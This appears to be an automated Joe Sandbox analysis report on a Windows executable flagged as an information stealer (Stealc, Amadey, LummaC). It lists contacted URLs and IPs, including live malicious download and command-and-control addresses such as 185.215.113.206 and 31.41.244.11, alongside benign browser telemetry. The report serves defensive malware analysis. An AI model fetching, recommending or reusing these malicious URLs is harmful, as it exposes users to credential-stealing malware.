https://tse1.mm.bing.net/th?id=OADD2.10239360172429_1FBLLBDCCPBGUQBS5&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732403218702&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
https://clients2.googleusercontent.com/crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732403212053&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://sb.scorecardresearch.com/b?rn=1732403212055&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=09EFB3CBA8B66A3233B2A68BA9AF6B45&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239360433145_1P8I9JAN4TGEHJX5M&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732403219603&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/msvcp140.dll	false	high
http://185.215.113.206/c4becf79229cb002.php	false	high
https://www.google.com/async/newtab_promos	false	high
https://www.google.com/async/ddljson?async=ntp:2	false	high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false	high
https://chrome.cloudflare-dns.com/dns-query	false	high
https://c.msn.com/c.gif?rnd=1732403212055&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=0bc75008eae841bf87e2b4c046ac6e18&activityId=0bc75008eae841bf87e2b4c046ac6e18&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=9E7A649AA04A41C7B1E0884E07A0062F&MUID=09EFB3CBA8B66A3233B2A68BA9AF6B45	false	high
https://sb.scorecardresearch.com/b2?rn=1732403212055&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=09EFB3CBA8B66A3233B2A68BA9AF6B45&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp, CBGCAFII.1.dr, EHJKFCGH.1.dr	false		high
https://c.msn.com/	2cc80dabc69f58b6_1.13.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp, CBGCAFII.1.dr, EHJKFCGH.1.dr	false		high
http://31.41.244.11/files/random.exe:	skotes.exe, 00000024.00000002.3467146110.0000000001324000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://deff.nelreports.net/api/report?cat=msn	2cc80dabc69f58b6_0.13.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.13.dr	false		high
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.13.dr	false		high
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.13.dr	false		high
http://185.215.113.16/mine/random.exe~	file.exe, 00000001.00000002.2726149421.0000000000748000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	false		high
https://mozilla.org0/	nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	EHIJDHCAKKFCBGCBAAEC.1.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.13.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.13.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp, CBGCAFII.1.dr, EHJKFCGH.1.dr	false		high
http://185.215.113.206/c4becf79229cb002.php-	file.exe, 00000001.00000002.2726149421.0000000000764000.00000004.00000020.00020000.00000000.sdmp	false		high
https://assets.msn.com	5ee51f18-e93f-4b66-9a6b-ed1139d70f1e.tmp.14.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp, EHJKFCGH.1.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	KECBGCGCGIEGCBFHIIEBFCAFHI.1.dr	false		high
http://185.215.113.206/c4becf79229cb002.php2	file.exe, 00000001.00000002.2769616265.0000000023384000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206ngineer	file.exe, 00000001.00000002.2726494046.0000000000C55000.00000040.00000001.01000000.00000003.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php5	file.exe, 00000001.00000002.2726149421.0000000000764000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/random.exe506238n	skotes.exe, 00000024.00000002.3467146110.0000000001324000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/chrome	content_new.js.13.dr, content.js.13.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	KECBGCGCGIEGCBFHIIEBFCAFHI.1.dr	false		high
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.13.dr	false		high
https://chromewebstore.google.com/	manifest.json.13.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.13.dr	false		high
http://31.41.244.11/files/random.exe	skotes.exe, 00000024.00000002.3467146110.0000000001324000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/msvcp140.dllP	file.exe, 00000001.00000002.2726149421.0000000000748000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://chrome.google.com/webstore/	manifest.json.13.dr	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dllhJ	file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.13.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.13.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000001.00000002.2769616265.0000000023373000.00000004.00000020.00020000.00000000.sdmp, EHIJDHCAKKFCBGCBAAEC.1.dr	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.13.dr	false		high
https://ntp.msn.com/edge/ntp	2cc80dabc69f58b6_1.13.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.13.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp, CBGCAFII.1.dr, EHJKFCGH.1.dr	false		high
http://31.41.244.11/files/random.exe50623847d	skotes.exe, 00000024.00000002.3467146110.0000000001324000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	file.exe, 00000001.00000002.2769616265.0000000023373000.00000004.00000020.00020000.00000000.sdmp, EHIJDHCAKKFCBGCBAAEC.1.dr	false		high
http://185.215.113.206/(	file.exe, 00000001.00000002.2726149421.0000000000748000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ntp.msn.com	2cc80dabc69f58b6_0.13.dr	false		high
https://browser.events.data.msn.cn/	2cc80dabc69f58b6_1.13.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpIc	file.exe, 00000001.00000002.2726149421.0000000000764000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp, CBGCAFII.1.dr, EHJKFCGH.1.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpQc	file.exe, 00000001.00000002.2726149421.0000000000764000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000001.00000002.2781058086.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.2759021465.000000001D34D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dll4J	file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp, CBGCAFII.1.dr, EHJKFCGH.1.dr	false		high
https://img-s.msn.cn/tenant/amp/entityid/	2cc80dabc69f58b6_1.13.dr	false		high
http://185.215.113.206/68b591d6548ec281/softokn3.dllN	file.exe, 00000001.00000002.2726149421.0000000000748000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	file.exe, 00000001.00000002.2769616265.0000000023373000.00000004.00000020.00020000.00000000.sdmp, EHIJDHCAKKFCBGCBAAEC.1.dr	false		high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dlly	file.exe, 00000001.00000002.2726149421.00000000006EE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ntp.msn.comService-Worker-Allowed:	2cc80dabc69f58b6_0.13.dr	false		high
https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288	2cc80dabc69f58b6_1.13.dr	false		high
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	file.exe, 00000001.00000002.2769616265.0000000023373000.00000004.00000020.00020000.00000000.sdmp, EHIJDHCAKKFCBGCBAAEC.1.dr	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp, EHJKFCGH.1.dr	false		high
https://bit.ly/wb-precache	2cc80dabc69f58b6_1.13.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpw	skotes.exe, 00000024.00000002.3467146110.0000000001324000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000001.00000002.2769616265.0000000023373000.00000004.00000020.00020000.00000000.sdmp, EHIJDHCAKKFCBGCBAAEC.1.dr	false		high
http://185.215.113.206/68b591d6548ec281/sqlite3.dllLJ	file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	file.exe, 00000001.00000002.2769616265.0000000023373000.00000004.00000020.00020000.00000000.sdmp, EHIJDHCAKKFCBGCBAAEC.1.dr	false		high
http://185.215.113.206/68b591d6548ec281/softokn3.dll2	file.exe, 00000001.00000002.2726149421.0000000000748000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://clients2.googleusercontent.com	a793fd1c-e71f-4522-8620-f4a2128ecd1e.tmp.14.dr, 5ee51f18-e93f-4b66-9a6b-ed1139d70f1e.tmp.14.dr	false		high
https://support.mozilla.org	KECBGCGCGIEGCBFHIIEBFCAFHI.1.dr	false		high
http://185.215.113.206	file.exe, 00000001.00000002.2726494046.0000000000C55000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000001.00000002.2726149421.00000000006EE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpion:	file.exe, 00000001.00000002.2726494046.0000000000C55000.00000040.00000001.01000000.00000003.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp, EHJKFCGH.1.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.70.121.144	unknown	United States	20940	AKAMAI-ASN1EU	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
20.189.173.2	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.165.220.66	sb.scorecardresearch.com	United States	3	MIT-GATEWAYSUS	false
104.70.121.219	unknown	United States	20940	AKAMAI-ASN1EU	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
23.209.72.17	unknown	United States	20940	AKAMAI-ASN1EU	false
104.117.182.25	unknown	United States	20940	AKAMAI-ASN1EU	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.181.65	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
104.70.121.171	unknown	United States	20940	AKAMAI-ASN1EU	false
172.217.17.78	plus.l.google.com	United States	15169	GOOGLEUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
108.156.120.98	unknown	United States	16509	AMAZON-02US	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
20.75.60.91	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561616
Start date and time:	2024-11-24 00:05:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	39
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@78/239@28/26
EGA Information:	Successful, ratio: 40%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.223.35.26, 172.217.19.227, 172.217.17.46, 64.233.165.84, 34.104.35.123, 172.217.21.35, 172.217.17.74, 172.217.19.202, 142.250.181.138, 172.217.17.42, 172.217.19.234, 142.250.181.10, 142.250.181.74, 172.217.21.42, 172.217.19.170, 142.250.181.106, 216.58.208.234, 13.107.42.16, 204.79.197.203, 204.79.197.239, 13.107.21.239, 172.217.19.238, 13.107.6.158, 13.87.96.169, 23.32.239.56, 23.32.239.18, 23.32.238.40, 23.32.238.26, 2.16.158.27, 2.16.158.192, 2.16.158.35, 2.16.158.50, 2.16.158.26, 2.16.158.72, 2.16.158.51, 2.16.158.90, 2.16.158.33, 95.100.135.121, 95.100.135.19, 95.100.135.105, 95.100.135.99, 95.100.135.131, 95.100.135.123, 95.100.135.8, 95.100.135.107, 95.100.135.11, 2.16.158.75, 2.16.158.83, 2.16.158.40, 2.16.158.81, 2.16.158.88, 2.16.158.82, 13.74.129.1, 172.165.69.228, 204.79.197.237, 13.107.21.237, 199.232.210.172, 20.223.36.55, 2.16.158.57, 2.16.158.176, 2.16.158.74, 2.16.158.80, 2.16.158.169, 2.16.158.96, 142.251.40.131, 142.250.80.67, 142.250.80.35, 142.
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, tse1.mm.bing.net, clientservices.googleapis.com, g.bing.com, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, prod-agic-us-2.uksouth.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, ris.api.iris.microsoft.com, a1834.dscg2.akamai.net, wildcardtlu-ssl.azureedge.net, edgedl.me.gvt1.com, c.bing.com, clients.l.google.com, iris-de-prod-azsc-v2-neu-b.northeurope.cloudapp.a
Execution Graph export aborted for target DocumentsHIDHDAAEHI.exe, PID 8780 because it is empty
Execution Graph export aborted for target skotes.exe, PID 1112 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 1776 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
00:07:08	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
18:06:45	API Interceptor	142x Sleep call for process: file.exe modified
18:08:02	API Interceptor	168x Sleep call for process: skotes.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	2fQ8fpTWAP.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	http://elizgallery.com/js.php	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	ivySCI-5.6.3.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
sb.scorecardresearch.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	3.160.188.68
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.245.60.72
	http://elizgallery.com/js.php	Get hash	malicious	Unknown	Browse	18.245.60.72
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.106
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.57
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.110
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	18.165.220.110
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.57
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.110
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.106

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASN1EU	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.59.251.201
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	104.117.182.56
	http://elizgallery.com/js.php	Get hash	malicious	Unknown	Browse	23.209.72.22
	sora.arm.elf	Get hash	malicious	Mirai	Browse	95.100.100.154
	sora.x86.elf	Get hash	malicious	Mirai	Browse	204.237.205.137
	psol.txt.ps1	Get hash	malicious	LummaC	Browse	23.55.153.106
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.209.72.25
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	104.117.182.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.209.72.21
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.44.136.149
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	2fQ8fpTWAP.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	CZxDiTktSY.exe	Get hash	malicious	XWorm	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.96.153.111
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	http://elizgallery.com/js.php	Get hash	malicious	Unknown	Browse	204.79.197.203
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.63
